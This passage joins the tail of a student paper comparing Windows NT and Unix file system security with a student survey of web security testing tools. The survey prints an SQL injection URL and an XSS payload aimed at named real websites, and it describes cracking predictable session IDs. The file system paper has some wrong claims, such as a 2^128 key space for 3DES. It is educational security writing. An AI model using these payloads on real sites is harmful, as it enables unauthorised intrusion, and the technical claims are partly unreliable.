file server uses access control lists which allow permissions
to be specified for any number of users or groups[1]. To
compare the file system between Windows NT and Unix-
like operating system is not easy because most of the people
are familiar with only one or the other. Therefore, it is nec-
essary to analyze both file system models before comparing
them on the aspects of data streaming, file system encrypt-
ing, access controlling and file locking.

2.1 Multiple Drives to Single Hierarchy
Windows uses an abstraction of drive letters to represent
different disks. A common practice is to reserve one specific
drive letter (as we all know, C:) mainly for the operating
system and user data, while other drives letters for docu-
ments, images, video and the others[13]. This tradition can
be traced back to the age of MS-DOS when the letters A and
B are used for floppy disks. The existence of multiple drives
does not aim to cause confusion to the users (but it did, un-
fortunately). It might improve hard drive access speeds and
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it can easily support multiple operating systems for a mul-
tiple boot system. Furthermore, users will not be worried
about losing data when reinstalling the operating system as
long as the hard drive is not formatted or physically broken.

Unix uses a single hierarchy standard which organizes all
files and directories under the root directory “/”. This kind
of layout is called unified file system (also called as hierar-
chical file system). It makes mounting in UNIX easier than
in Windows since the users need not to mount a file in the
drive the file is stored[14].

However, single hierarchy does not mean that the disk is
not partitioned. Data from the same root in Unix-like file
system will be stored in different partitions internally in or-
der to inherit the advantages of disk partitioning[14]. On
the aspect of security, reserving a separate area for operat-
ing system virtual memory to do paging and swapping can
protect the OS from being directly attacked by malwares
or run-away programs. Moreover, disk partitioning isolates
files from being corrupted together. If one partition is cor-
rupted, the other files systems may not be affected. On the
contrary, disk partitioning may limit the disk capacity and
increase the disk fragmentation[19].

2.2 Data Streams
File in Unix-like file system is nothing but an array of bytes.
Windows, on the other hand, allow multiple data streams in
a file. This characteristic is called Alternate Data Streams
(ADS) added by Microsoft by the early 1990’s in order to
increase the interoperability with resource forks-based sys-
tems, which is used in hierarchical file system (HFS), to
store certain metadata connected with some files[6]. Al-
though Apple avoids using resource forks nowadays, ADS is
still used for storing information about files in Windows NT
and Windows 2000. One of the reasons is that ADS can re-
duce the backup time for large files, by putting the backup
file into different data streams and process simultaneously.
Moreover, when a backup file is split into multiple streams,
redo the process on a failure in backup costs much less time
as we can simply redo the backup for the failed stream.

On the contrary, ADS can cause severe security threat. The
system administrator cannot detect the hacker tools (i.e.,
executable code) hidden in a breached system with the data
streams form of VBS, EXE, CMD or BAT. This provides
the opportunity of virus attacks. The employment of ADS
explains why Windows users always spend more time on
running anti-virus software than Unix users[10][25].

2.3 Cryptographic File Systems
File system securing is now applied everywhere in order to
minimize the information revealed to the attackers about the
size and the owner of files. Disk-based file systems encrypt
data locating at a high level of abstraction, which is able to
realize a file system level encryption. One of the typical disk-
based file systems is known as StegFS, a steganographic file
system implemented in Linux kernel[26]. It is able to hide
the data being protected from users who do not possess the
corresponding access keys. StegFS keeps separate block-
allocation tables for different security level in a UNIX-like
file system. An adversary will never figure out the number
of existing security levels unless he is holding the key for

Figure 1: Parameters for StegFS

Figure 2: Structure of Hidden File

each level[5]. This technique is realized by maintaining the
structure (i.e., an inode table) of the hidden directories or
files object into a header within the object. The list of pa-
rameters of StegFS, as well as the structure of the hidden
file, is shown below for a further illustration.

Another famous disk-based file system is EFS (Encrypting
File System), which is a feature employed by Windows NT
file system version 3.0. It is an extension of NT file system
kernel based on Windows authentication methods and Win-
dows ACL[4]. The basic concept is to store the encrypted
directories and files on the disk and protect the encryption
keys. It uses public key encryption with symmetric keys
(i.e., FEK) to keep the files and directories confidential. The
reason of symmetric keys being used here is symmetric key
encryption is simple and faster. A FEK (File encryption
key) always encrypts the data in the 3DES manner which
maintains a key space of 2128. Then the FEKs are encrypted
by the public key taken from the certificate of the user and it
can only be decrypted by the user’s private key. EFS stores
the encrypted FEKs into a lockbox which are locked by the
user’s login password[24].

Comparison of the two disk-based file systems above is hard
since they are implemented for different permissions in file
system. Both manners have accomplished the goal of mini-
mizing the data revealed in a file system level. However, the
Unix-like file systems that have started to introduce modi-
fied EFS achieved a more efficient processing time than Win-
dows NT[24].
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2.4 Permission
Permissions for file systems are methods to assign access
rights to specific users and group of users. The main differ-
ence between Windows NT and Unix-like systems in terms
of assigning permissions lies in the model they use. For Win-
dows NT systems, a pure ACL-based file permission system
is implemented. As for Unix-like systems, its file system per-
mission is based on the ACL model with additional features
added.

For Windows NT system, as shown in Table 1.1 below, file
permissions include Full Control, Modify, Read & Execute,
Read, and Write. Folder permissions include Full Control,
Modify, Read & Execute, List Folder Contents, Read, and
Write. Each user of Windows NT can only perform the
behaviors he is granted to, which is the combination of all
the permissions the user is assigned to together with all the
permissions that are assigned to the groups the user is a
member of. Furthermore, if no access is specified, the user
is denied in any form of access.

As for Unix-like system, besides the ACL-based Unix Per-
missions, which specifies the permission to read (r), write
(w), and execute (x), the symbolic permission and setuid,
setgid, and sticky permission are also implemented.[20]

Symbolic permissions use characters to assign access rights
to files or folders in the syntax of (who) (action) (permis-
sions). The setuid, setgid, and sticky permission can help
to provide functionalities that are normally not provided to
normal users. When executing these instructions, setuid and
setgid helps the user who executes the process be treated
as the owner of the process, which means he will be given
equal permission as the owner. The security threat brought
by elevating permission of setuid and setgid is balanced by
the security-enhancing feature brought by the sticky, which
gives only the file owner the right to delete a file.[7]

2.4.1 Evaluation
Through comparison, it can be seen that the file system
permission function of Unix-like systems is more flexible by
providing more diversified access control rights.

2.5 File Locking
In Windows NT file system, file locking is mandatory and
automatic, which means that read () and write () to a file is
prevented. However, in Unix-like systems, file locking is not
mandatory but adversary by default.

Windows NT systems use three mechanisms to manage ac-
cess to shared files, which are share-access controls, byte-
range locks and disallowing file execution from being opened
for write or delete. Byte range locks are applied to files for
the purpose of preventing simultaneous file access or act-
ing as a signaling mechanism. For instance, when a process
opens a file, AFS will provide it with a lock indicating the
file is currently in use. Moreover, if it is a write lock, ac-
cess to this file will be restricted to the first application that
requested the lock and other applications running on the
same machine will be unable to access the file. Specifically,
for a file with shared access, system may make use of byte-
range locking to define control access to certain regions of
the file by specifying offset, length and whether this portion

Table 1: File System Permission of Windows NT

Permission Meaning for Fold-
ers

Meaning for Files

Read Permits viewing
and listing of files
and subfolders

Permits viewing
or accessing of
the file’s contents

Write Permits adding of
files and subfold-
ers

Permits writing
to a file

Read and
Execute

Permits viewing
and listing of files
and subfolders as
well as executing
of files, inherited
by files and fold-
ers

Permits viewing
or accessing of
the file’s contents
as well as execut-
ing of the file

List
Folder
Contents

Permits viewing
and listing of files
and subfolders as
well as executing
of files, inherited
by files and fold-
ers

N/A

Modify Permits reading
and writing of
files and sub-
folders, allows
deletion of the
folder

Permits reading
and writing of
the file; allows
deletion of the
file

Full Con-
trol

Permits read-
ing, writing,
changing, and
deleting of files
and subfolders

Permits reading,
writing, changing
and deleting of
the file
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is shared or exclusive. For many Windows applications, this
kind of lock is enforced by the file system mandatorily.

Comparing toWindows NT, Unix-like systems do not manda-
torily enforce locking of file. Instead, Unix gives the decision
right for file locking to its users. Through using mechanisms
like fcntl (2), flock (2) and lockf (3), users may use locks
to coordinate access to files among themselves or access the
file in any way they prefer. The advisory lock used by Unix
system can be divided into two types, which are the shared
lock and the exclusive lock where shared lock allows concur-
rent reading and exclusive lock forbidding both reading and
writing concurrently.[22]

2.5.1 Evaluation
Comparing the two systems, Unix system, which allows mul-
tiple names referring to the same file, file locks apply to the
actual file instead of the file name. Together with allow-
ing non-mandatory locking, Unix system provides users with
more flexibility in accessing files from various processes. For
Windows NT system, users may observe a slower access to
files owing to restrictions given by for example byte-range
locks.[12]

3. SYSTEM ARCHITECTURE

3.1 Where security features are implemented
Many essential security features in Unix-based systems are
implemented as the design of the whole system architec-
ture; while these similar features in MS Windows are imple-
mented as applications on the top of the operating system.
This makes the security of Unix operating system outstand-
ing. As the security features are implemented as applica-
tions, it becomes easier for users and hackers to reach these
impementations and destroy them. The followings are two
examples.

Example 1: In Windows, half of the privilege separation is
implemented at the architecture level, while the other half
is implemented at higher level. This makes its functions
dependent on the user behaviour, which in turn makes it
vulnerable as users and hackers are able to manipulate it.

Example 2: Modularity in a system means decreasing the
coupling between parts of the system. This is another ar-
chitecure security feature in Unix-based systems but lacking
in Windows. The lack of this makes it possible for applica-
tions to access every major parts of Windows system. For
example, a simple browser can reach into the kernel space,
where the entire system is accessible[16].

3.2 User control and automatic execution
The Windows system architecture has been designed to do
as many things as possible for the users automatically. In
contrast, Unix system does not do things for users by de-
fault. In fact, although such automatic execution brings the
user convenience but makes the system vulnerable toward
virus, because malware can be executed by the system with-
out letting users know. For example, when a fake Microsoft
Word document (in fact a malware executable) is executed,
the Windows system will automatically apply the appropri-
ate software to execute the malware once Microsoft Word
cannot open it. However in such situation, Unix system will

refuse to open the file as it is suspectable. Therefore, in this
aspect, Unix system is more secure[16].

3.3 Open Source
Unix operating system is an open source system, which ful-
fills the open-design principle for secure system design. This
allows public inspections of the source code that helps detect
and fix flaws and bugs.

3.4 Various Kernel Designs
An operating system can at least divide into two parts, the
kernel space and the user space. Although the basic func-
tions of kernels in different operating systems are similar,
the designs of them are quite different. Most UNIX-based
operating system kernels like Linux and BSD are considered
to be monolithic kerna[11].This means that most of the op-
erating system runs in the kernel space only. The strength
of this approach is that less code is needed as the kernel
does not need to handle the communications between kernel
space and user space. Less code means that it is less possible
for bugs to reside in the code. In addition, modular kernels
that only loads needed modules minimizes possible attacks.
However, the damage caused by the code in kernal space is
more severe to the system and it is difficult to debug the
kernel code as they tend to be more complex.

In contrast, the Windows NT operating system is a hy-
brid kernel, where less code is executed in the kernel space.
Therefore, the vulnerability created by kernel code decreases.
And it is easier to debug user space code. However, the
weakness of this approach is that there are more communi-
cations, where bugs may exist, needed between the kernal
and user space.

3.5 Memory Protection

3.5.1 Write-only or execute-only memory
Some attacks are aimed to manipulate the memory of a sys-
tem in order to run the attack code[3]. While this technique
enables programs or operating systems to mark memory lo-
cations as read-only or execute-only, which in turn limits at-
tackers to only execute original program code. However, it
still does not prevent the attacks that do not depend on the
attack code[18]. Windows 7 implements it, Data Execution
Prevention (DEP), as an optional choice for programs[2].
While Unix implements it and enable it by default.

3.5.2 Address Space Layout Randomization (ASLR)
This technique is to randomize the placement of heaps, stacks
and libraries of a process in the memory in order to prevent
targeted address attack. Both Windows 7 and Unix operat-
ing system enable the ASLR by default. However, programs
have to be linked to be ASLR enabled in order to use the
function in Windows; programs need to be compiled as Po-
sition Independent Executables (PIE) in order to use the
function in Unix. However, the weakness is that ASLR will
decrease the process speed as some overhead need to be done
in order to achieve the ASLR[21].

4. FIREWALLS
Security peneration could also come from the Internet. Fire-
wall is one of the effective techniques to combat it.
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The Internet has been divided into five layers: physical layer,
data link layer, network layer, transport layer and applica-
tion layer. Data from the upper layer is segmented into
manageable packets and each packets is sent through the
network[8]. Each application process is identified by the
host address and the process port.

A firewall is a system which screens network traffic in some
way and blocks traffic it believes to be inappropriate or dan-
gerous by examining the information of the network layer
and the transport layer headers[9]. It is usually implemented
in routers[8], however, operating systems like Windows and
Linux also include firewall in their distribution.

4.1 Packet-Filter Firewall
A packet-filter firewall decides whether to drop a packet by
consulting its filtering table. The filer table consists of en-
tries in the form of 4-tuple, the IP address and port number
of the source host and the destination host. An example
pattern is shown below[17]:

< 192.12.13.14, 1234, 172.8.7.6, 80 >

The pattern is meant to discard all packets from port 1234
on host 192.12.13.14 to port 80 on host 172.8.7.6.

4.2 Stateful Firewall
Port 80 is a well-known TCP port for HTTP. However, many
applications do not possess their special ports. Applications
are allocate ports dynamically. Therefore, filters cannot be
configured statically. In such situations, a stateful firewall is
required to keep track of the states of each connection[17].
Usually, firewalls store the information of state tracking as
a table[15]. The state table is listed of all communication
sessions of which the firewall keeps track. In addition, each
entry uniquely identifies a communication session. The en-
try is placed in the table when a stateful application issues
a connection. When the response returns to the firewall,
the firewall examines the information in the packet’s header
and compare them with the information recorded in the ta-
ble entry. If the packets is related to a valid table entry, it
can pass the firewall and return to the host application. The
packet is dropped when no valid entry is related to it [15].

4.3 Evaluation
A firewall is able to protect a network from excluded access.
But it cannot offer security support to legal communication
between applications inside and outside the firewall. Despite
of this flaw, it is so common that every host in the Internet
has implemented the strategy. One of the reason behind its
popularity is the ease of deployment. Unlike cryptography-
based security techniques, which need support from both
endpoints of a communication, a firewall can be deployed to
offer security in a centralized place. Thus, it is also easy for
administrators to manage without worrying end-users and
applications[17].

Firewalls are not perfect. They also have serious security
concerns.

The first concern arises from the parties granted access to
the firewall of an organization. For example, if the com-
pany’s business partner does not configure their security

well, it is possible to compromise the organization’s secu-
rity by penerating the business partner’s security[17].

The second concern lies in malwares. Malwares are designed
deliberately to conceal themselves. Common malwares in-
clude virus, worms and spyware. Backdoors installed by
the malware undermines the protection of firewalls by al-
lowing remote access to the system. Since most malware is
transmitted by networks, it is possible for firewalls to detect
them. However, malware is concealed therefore, if firewalls
are implemented to search suspicious segments in packets,
the network performance would be greatly affected[17].

The behavior of firewalls in both operating systems are al-
most identical. The difference lies in the support of port
range. As discussed before, firewall filters by examining host
and port number. However, it is not practical to have a rule
for every source host or source port. Therefore, some fire-
walls have support of port range. In CentOS, port range is
supported by iptables using the syntax of “–sport port:port”
or “–dport port:port”. In Windows XP, the firewall can be
configured to target at specific ports. But it lacks the sup-
port of port range. Windows 7 has full support of port
range[23].

5. CONCLUSIONS
In this paper, we have compared the difference betweenWin-
dows NT OS and Unix-like OS in their file system, system
architecture and file system. We emphasised on the com-
parison between two systems in the field of file system and
also provided evaluation to the two OS in each field respec-
tively. In conclusion, comparing the two operating systems,
Unix-like OS is more of advantage in avoiding the usage of
ADS, achieving more efficient processing time in Encrypting
File System, giving user more flexibility in defining file sys-
tem permission and being more secure in terms of system
architecture. While in respect of multiple drives to single
hierarchy, both operating systems have pros and cons.
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ABSTRACT 
The rapid growth of web application security breaches in recent 
times has driven us to find techniques to audit these applications 
in every possible way. This paper analyzes different techniques 
currently employed to test systems for security vulnerabilities. It 
broadly focuses on Black Box and White Box testing techniques 
and evaluates various tools and techniques within each category 
that are used in the software development industry today.  

Under White box testing techniques, the paper covers basic 
coding practices and precautions that can help protect web 
applications from security attacks and also discusses a few Plug-in 
Tools which developers can install in their integrated development 
environment (IDE) to discover common security vulnerabilities. 
Under Black Box testing techniques, the paper analyzes four 
tools, namely, Burp Intruder, Web Scarab, ASafaWeb and 
Acunetix that focus on different aspects of security vulnerabilities 
while testing websites. Each technique is substantiated with code 
snippets, vulnerability detection examples and steps that should be 
followed to track weaknesses in websites. The paper concludes 
with a comparison of industry-wide tools based on a benchmark 
and highlights each tool’s strengths.  

Categories and Subject Descriptors 

D.4.6 [Operating Systems]: Security and Protection– 
Authentication. 

H.2.7 [Database Management]: Database Administration- 
Security, integrity, and protection. 

General Terms 
Security, Reliability, Verification. 

Keywords 
White Box testing, Black Box Testing, Vulnerability Scanners, 
Fuzzing, Payloads, SQL Injection, XSS, Web Applications. 

1. INTRODUCTION 
In recent years, with the emergence of Web2.0 and with the 
accentuating rate of information exchange through web, new ways 
to attack or hack websites are constantly and frequently coming 
into picture. With increasing dependence on web resources, we 
can neither stay away from it nor ignore the security breaches that 
may lead to a potential leak of private information. Therefore, it is 
not just relevant but also essential for us to explore the techniques 
that could be used to ensure our application’s security and 

robustness.  

This paper highlights some of the significant tools and techniques 
that are used in the software industry to detect security 
vulnerabilities in web applications. The paper streamlines these 
techniques into two major categories - White Box Testing and 
Black Box Testing. White Box Testing explores some easy yet 
powerful coding standards and techniques that should be adopted 
by developers at implementation stage. It also analyses Plug-in 
tools like PMD and SecureAssist that can be installed in IDEs.  

Black Box Testing introduces the readers to various vulnerability 
scanning techniques through four popular tools: Burp Intruder, 
WebScarab, ASafaWeb and Acunetix. Burp Intruder performs 
Fuzz Testing and allows users to add a payload file, WebScarab 
analyses session variables to gather information from web 
requests, ASafaWeb scans ASP.NET websites by issuing HTTP 
requests to identify configuration vulnerabilities and Acunetix 
helps to classify the different vulnerabilities based on the impact 
factor (High/Medium/Low) using techniques like Blind SQL 
Injection, Cross Side Scripting, Form field manipulation and 
Session cookie manipulation. The paper also compares industry 
wide tools to identify the strengths and shortcomings of various 
tools available in the market. 

2. METHODOLOGY 
Each precaution and tool described in the paper has been tested 
with one or more projects or a web application to gain better 
understanding of how the tool operates and analyze the different 
kinds of vulnerabilities unveiled by each one of them. 

These tools and techniques have been tested either on our Java 
project built on Eclipse (Kepler 4.3) IDE or on existing websites. 
The code snippets shown in the paper are meant only for 
illustration purpose and have been modified from their original 
form to maintain anonymity. 
Following are the websites and projects that have been used for 
testing purposes: 

1. Java Project used for White box testing: 
https://github.com/neha01mittal/HRRN/ 

2. http://www.eastodissa.ac.IN/news-and-
events.php?id=22 

3. http://www.insecurelabs.org/task/Rule1 
4. http://zero.webappsecurity.com/feedback.html 
5. http://www.minyoungki.com 
6. http://www.mt.co.kr 
7. http://www.minyoungki.com 
8. http://testphp.vulnweb.com/index.php 
9. https://exchange.nus.edu.sg/owa/auth/logon.aspx 
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3. WHITE BOX TESTING TECHNIQUES 
 
White Box testing tests a software application’s internal structure, 
framework, mechanisms, objects and components by using the 
source code itself as the basis for designing test cases. It involves 
tracing possible execution paths in the code and finding out the 
input values that could result in those execution paths. [10] 
Irrespective of how strong firewall mechanisms are, web 
applications are still very prone to security attacks if developers 
do not follow secure coding practices. These are the two main 
attacks that can be easily exploited to attack web applications and 
the techniques that could be followed to prevent these attacks. 

3.1 Precautions 
3.1.1 SQL Injection Attacks 
This attack involves manipulating the back-end SQL queries by 
inserting SQL meta-characters into input fields of web 
applications. A simple SQL Injection attack was performed on the 
following vulnerable website: http://www.eastodissa.ac.IN/news-
and-events.php?id=22. If the URL is modified such that it 
meddles with the back end SQL query, something like this: 
http://www.eastodissa.ac.in/news-and-
events.php?id=21%27%20AND%20members.email%20IS%20N
ULL;%20--%27, it should be able to handle the error. Instead of 
displaying an appropriate error message, the website exposed the 
error that occurred in the SQL database which shows that it can be 
hacked (Figure (1)). [7] 

 

 

 

The following practices can be followed to prevent such attacks: 

3.1.1.1 Prepared statements 
Prepared statements allow the database to differentiate between 
code and input data as it forces the developer to define the SQL 
code separately and pass every parameter to the query as an 
argument. In Figure (2), the query is built using prepared 
statement instead of getting dynamically populated. [8] 

 

3.1.1.2 Stored procedures  
The difference between prepared statements and stored 
procedures is that the SQL code for a stored procedure is defined 

and kept in the database and called from the application. The 
“sp_getModuleInfo” procedure should be already defined in the 
database. It should provide the same functionality as the query 
defined in Figure (2) for prepared statements (Figure (3)). 

 

3.1.1.3 Escaping user input 
Every Database Management System supports one or more 
character escaping schemes. If user-supplied inputs are escaped 
using the proper scheme for the database, the system will can 
distinguish between user input and SQL code, thus preventing any 
possible SQL injection attack. [12] For example, instead of coding 
the SQL query without escaping quotes (Figure (4)), it can be 
escaped using available encoder methods provided by ESAPI, 
OWASP (Figure (5)):  

 

 
 

3.1.2 Cross Site Scripting (XSS) Attack 
In an XSS attack, a web page is infected with a malicious client-
side script. When someone visits this page, the script is executed 
on the browser and can cause potential harm to the website and its 
users. Figure (6) clearly shows how XSS attack works. 

 
 
 
 
 
 
 

 
 

To demonstrate it better through an example, a simple script 
(<script>alert('This is XSS attack for CS2107 test')</script>) was 
injected to this website: http://www.insecurelabs.org/task/Rule1 

 

 

!
 

Figure 1. SQL Injection not unhandled 
     in a vulnerable website. 

 
. 

 
 

Figure 3. Use of Stored procedures  
 
. 

 
 

Figure 4. Code vulnerable to SQL Injection  
 
. 

 
 

Figure 5. Code escaped by Encoder Methods  
 
. 

 
 

Figure 6: Cross Site Scripting [1] 
 
. 
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As shown in Figure (7), it failed to filter or escape the script and 
hence entertained the pop-up alert contained in the script.  

 
 

The following practices can be followed to prevent such attacks: 

3.1.2.1 Filtering for XSS 
The simplest way to protect a website against XSS attack is to 
pass every user input through a ‘filter’ that removes all dangerous 
keywords like <SCRIPT> tags using a white list. The most 
preferred option is to use HTML Purifier, which is a standards 
compliant HTML filter library written in PHP. It decomposes the 
whole document into tokens, removes non-whitelisted elements 
and checks for the correct nesting of tags. Figure (8) shows the 
how HTML Purifier handled various types of broken inputs that 
we submitted to it. [6] Another well-known library is HTML 
Markdown, a Perl library that converts user input into clean 
XHTML. [1] 

 

The disadvantage of using this filtering technique is that it might 
end up filtering legitimate text if it matches one or more forbidden 
keywords. Therefore, developers can resort to the second 
technique, escaping from XSS. 

3.1.2.2 Escaping from XSS 
If we escape everything, we might end up rendering our web page 
useless. Therefore, there are escaping libraries available which 
carefully escape characters and ensure that our website is 
protected against all kinds of XSS attacks. As demonstrated in 
2.1.1.3, ESAPI (OWASP) can work as plugins for various 
platforms including Java, PHP and ASP.NET. AntiXSS, another 
escaping library, is suited for Microsoft Technologies.  

Figure (9) summarizes how all broken tags need to be carefully 
fixed and forbidden keywords have to be filtered to prevent the 
user input from affecting the server or the web page adversely.  

  

3.2 Plug-in Tools 
3.2.1 PMD 
PMD is a rule oriented source code analyzer that discovers code 
flaws like unused variables, objects and empty catch blocks by 
scanning through the entire code. It also checks for 
overcomplicated expressions, duplicate code and buffer overflow 
handling. [13] 

This tool was run on our Java project built in Eclipse IDE (Figure 
(10)). PMD used the following built-in methods to find common 
security vulnerabilities in the project. 

1. MethodReturnsInternalArray() triggered a warning when an 
internal array in the class was exposed allowing an external user 
to alter critical code. [15] This is the code snippet from the project 
(variable names changed) where this function throws a potential 
vulnerability warning: 
class PMDExampleWBT {        
 VulData [] vd;              
 public VulData [] getVulData() {                   
 //Don't return the internal  
 //array directly, return a copy      
   return vd;       
 }    
}    
 
2. ArrayIsStoredDirectly() method corrected the constructors 
receiving arrays as parameters so that they make their own copy 
of those arrays. [15] This method also makes sure that any future 
changes made by the user do not affect the code’s functionality. 
The following code was flagged as critical: 
class PMDExampleWBT2 {    
  private String [] x;           
  public void vulnerableFun(String [] param) {  
  // This is incorrect.  
  //A copy of array should be made.            
  this.x=param;       
  }    
} 
 
3. Several “System.out.println” statements that printed messages 
to the console were flagged by PMD as Blocker violations since 
the usage of such statements in any class method except for the 
main method would reveal sensitive information to the user. 

Figure 7. XSS Vulnerability Example  
 
. 

 
 

Figure 8. Illustration of HTML Purifier’s filtration 
 
. 

 
 

Figure 9. Protection against XSS through filters and 
Escape libraries [14] 

 
. 
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3.2.2 SecureAssist 
This Visual Studio and Eclipse plugin points out security 
vulnerabilities while the developer is coding. It flags issues based 
on industry standards and the developer’s or company’s own 
policies and frameworks. [4] 

SecureAssist was executed on the same Java project as PMD 
(Figure (11)). One of the major issues pointed out by it was the 
exposure of buffers to untrusted code. An integer array was 
exposed through the buffer and the getBufferCopy() method which 
allowed untrusted code to have access to the backing array. 
class Wrap {   
  private int[] data   
  public Wrap () {   
   data = new int[10]  
  }   
  public IntBuffer getBufferCopy() {  
   return IntBuffer.wrap(data)  
   //underlying int[10] is exposed to caller  
  }  
} 
 

The recommended way of writing the code was to copy the items 
into the buffer and return a read-only view of the buffer: 
public IntBuffer getBufferCopy() {  
 IntBuffer temp = IntBuffer.allocate(10);     
 temp.put(data);  
 return temp.asReadOnlyBuffer(); 
} 
 

 

 

4. BLACK BOX TESTING TECHNIQUES 
Black Box testing involves testing the functionality of an 
application without examining its internal structure. The test cases 
are based on the specifications of the application and not on how 
it achieves the functionality. We will look at four different tools 
that perform black box testing techniques on web applications to 
check for potential security vulnerabilities. 
 

4.1 Burp Intruder 
Burp Intruder is a parameter-fuzzing tool that offers customized 
brute force attacks to identify common vulnerabilities. Through its 
automated and customized attacks on websites, it is able to 
identify common vulnerabilities like SQL Injection, XSS and 
Buffer overflow issues. [5] 

To analyze the tool better, the following website was tested: 
http://zero.webappsecurity.com/feedback.html with arbitrary 
inputs after configuring the browser’s proxy settings to use the 
proxy host address (by default, 127.0.0.1) and port (by default, 
8080). On intercepting the website, Burp Intruder intelligently 
identified the parameters that could be mutated and highlighted 
them in yellow (Figure (13)). Corresponding to those input fields, 
we populated the payloads and started the attack.  

The tool executed the web page for all the values added to the 
payload and added its own mutations to the list as well. As shown 
in Figure (14), it shows all the passed and failed cases and details 
out the reasons of failure. In this figure, the tool has highlighted 
the incorrect syntax used in the website.  

 

 

 

Figure 10. Running PMD on a Java Project 
 
. 

 
 

Figure 11. Running SecureAssist on a Java project 
. 

 
 

Figure 12. Burp Intruder- Sending website’s URL to 
intruder section 

. 
 
 

Figure 13. Burp Intruder- Parameters chosen for 
mutation highlighted in yellow 

. 
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4.2 Web Scarab 
The Open Web Application Security Project (OWASP) has 
developed WebScarab as an open source web security-testing 
tool. WebScarab serves as a proxy and intercepts web requests 
and web server replies. It stores a number of cookies associated 
with Session IDs to determine their randomness. [9] 
On testing this tool with a website (http://www.minyoungki.com), 
it stored session variables to classify specific clients. In 
subsequent connections, it compared the session ID obtained in 
cookie with stored information to find out if the user is approved 
or not. Session ID is composed of number, characters and special 
characters.  

The following Session ID was given by PHP: Cookie: 
PHPSESSID = lfh3d6kb7c33crgi5o48bub1t4 

The following value was generated by the server in the second 
run: PCID =13681101204539449991611 

This ID was analyzed by the WebScarab SessionID Plugin. As 
illustrated in Figure (15), some of the session IDs had fixed values 
(be8cd4cAAVX), and some other characters changed in value at a 
fixed rate. On observing the pattern, we could figure out that the 
session ID’s value first increased for a lot of sessions, then 
dropped at a certain threshold and then started increasing again. 
This pattern was consistently followed. Hence, using this pattern, 
we can easily identify a specific formula responsible for the 
change in values and crack the admin’s session. 

 

For the second website that was tested (http://www.mt.co.kr), the 
value of the Session ID repeated every two seconds (Figure (16)). 
In this case, if we brute force the maximum and minimum value 
or repeat some fixed value, we could perhaps obtain other 
people’s session IDs easily. 

 

The last test was done with a secure website 
(http://www.naver.com). As shown in Figure (17), the Session ID 
values generated in this case were so random that it was not easy 
to figure out or guess the session ID in any way and hence it 
becomes difficult to hack this kind of a secure system.  

 

4.3 Acunetix 
Acunetix is a web vulnerability scanner that discovers security 
loopholes in websites and warns against common attacks like 
SQL Injection and weak password vulnerability.  
It performs a deep analysis of the applications without actually 
executing them. The following website was tested with the tool 
for potential weaknesses: http://testphp.vulnweb.com/index.php. 
As illustrated in Figure (18), various vulnerabilities were 
identified. The website was not just prone to Blind SQL Injection 
and Cross Site Scripting attacks but also had vulnerabilities like 
hidden form field tests (Form Field Manipulation) and was prone 
to session cookie manipulation attack. 

Acunetix tool achieved the highest WIVET (Web Input Vector 
Extractor Teaser) score of 94 percent along with other tools like 
NTOSpider and WebInspect. WIVET measures the crawling 
ability of a scanner by subjecting it to parameters and links which 
should be extracted by the process of crawling. [2] 

Figure 14. Burp Intruder- Result of brute force attack 
. 

 
 

Figure 15. Website 1- Change in Session ID values over 
time 

. 
 
 

Figure 16. Website 2- Change in Session ID values over 
time 

. 
 
 

Figure 17. Website 3- Change in Session ID values over 
time 

. 
 
 

111



 

 
 

4.4 ASafaWeb 
Asafaweb (Automated Security Analyser for ASP.NET Websites) 
is a tool that scans ASP.NET Websites for configuration 
vulnerabilities. It issues HTTP requests to the URL to be scanned 
and tracks the website’s responses to various types of requests. [3] 

The NUS Webmail ASP.NET page was tested using this tool 
(https://exchange.nus.edu.sg/owa/auth/logon.aspx). On testing the 
website, the potential vulnerabilities were highlighted in different 
colored boxes. As evident in Figure (19), the “Custom errors”, 
“Request validation”, “Hash dos patch” tests failed on the NUS 
Web Mail page.  

 
 

 

The details of the attacks generated by this tool and the potential 
threats are as follows: 

1. Custom errors - This scan made a request for "/trace.axd" and 
looked for a custom error message. The custom errors were not 
correctly configured as the requested URL contained the heading 
"Server Error in". 
Response URL: https://exchange.nus.edu.sg/trace.axd  

The custom error was not redirected to a valid error page. This 
might reveal potentially sensitive internal implementation 
information to attackers allowing them to make use of the 
information to attack the web server.  

2. Request validation was turned off in the NUS Web Mail page. 
The website was not protected against the attack of Cross Site 
Scripting (XSS). 

URL:   
https://exchange.nus.edu.sg/owa/auth/logon.aspx?foo=%3Cscript
%3E 

The attacker will, thus, be able to gain advantage using malicious 
code because making a request to the site with a malicious URL 
returns the same response as a legitimate request. This means that 
the application was accepting the XSS payload in the query string. 
3. Hash DoS: The hash table denial of service vulnerability (hash 
DoS) allows us to use a lot of parameters to make a POST request 
that can cause hash collisions when parsed by .NET websites. 
Microsoft resolved it permanently with the release of .NET 4.5. 
The result indicates that the security update MS11-100 has not 
been installed yet on the NUS Web Mail page. 

Various other warnings were also flagged during the scan of NUS 
Webmail: 

1. Clickjacking - Clickjacking involves an attacker embedding 
the target website in a frame and tricking users into clicking 
on links. This scan looks for defense by way of the server 
returning an "X-Frame-Options" header (XFO). Since an X-
Frame-Options header was not returned from the server, 
NUS Webmail website stands a risk of clickjacking attack. 

2. Excessive headers - If excessive information about the 
server and frameworks used by an ASP.NET application is 
returned in the response headers, it can be used to identify 
security flaws which may exist as a result of the choice of 
technology. The following response headers were returned 
by NUS Webmail page: Response headers: Server: 
Microsoft-IIS/7.0 X-Powered-By: ASP.NET and X-AspNet-
Version: 2.0.50727. 

5. INDUSTRY WIDE TOOLS 
Although we have analyzed various tools to detect different kinds 
of vulnerabilities, it is essential to compare industry wide tools 
that are used for testing a wide range of security attacks. 

The following rules have been adopted as a benchmark for testing 
commercial tools [11]: 

 1. Detection of Reflected SQL Injection, XSS, Path Traversal, 
Local File Inclusion/Remote File Inclusion vulnerabilities.  

 2. Scanning multiple URLs simultaneously (using either a 
crawler feature or a built-in proxy or Log file parsing feature)  
3. Controlling and limiting the scan to internal or external host. 

4. The WIVET (Web Input Vector Extractor Teaser) Test assesses 
each tool’s crawling mechanism efficiency in order to evaluate the 
attack’s surface coverage and the tool’s ability to handle different 
scan barriers. [11] 

Figure18. Vulnerabilities flagged by Acunetix 
. 

 
 

Figure 19. Vulnerabilities detected in NUS Web Mail by 
ASafaWeb 

 
 

112



Overall, a collection of 1413 vulnerable test cases for 6 different 
attack vectors were used to obtain the results and each test case 
simulated a different and unique scenario that may exist in an 
application.[11] 
The results of the assessment are provided in Figure (20) 

 
 

Some of the best tools identified were: 

Acunetix WVS - Acunetix was one of the best tools to detect 
